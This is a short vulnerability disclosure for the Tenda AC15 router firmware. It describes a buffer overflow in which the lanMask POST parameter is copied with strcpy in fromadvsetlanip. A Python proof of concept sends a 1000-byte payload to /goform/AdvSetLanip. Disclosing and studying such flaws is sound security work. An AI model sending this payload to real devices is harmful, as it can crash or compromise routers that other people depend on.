Overview

• The device's official website: https://www.tenda.com.cn/product/overview/AC15.html
• Firmware download website: https://www.tenda.com.cn/material/show/102680

Affected version

AC15 V1.0 V15.03.05.19_multi

Vulnerability details

The Tenda AC15 V1.0 V15.03.05.19_multi firmware has a buffer overflow vulnerability in the fromadvsetlanip function. The Var variable receives the lanMask parameter from a POST request and is later passed to the strcpy function. However, since the Since user can control the input of lanMask, the statemeant strcpy((char *)&a4[38 * a3 + 2] + 2, a1); can cause a buffer overflow.

POC

import requests

ip = "192.168.1.1"

url = f'http://{ip}/goform/AdvSetLanip'
payload = b'a' * 1000
data = {
    'lanMask':payload
}

requests.post(url, data=data)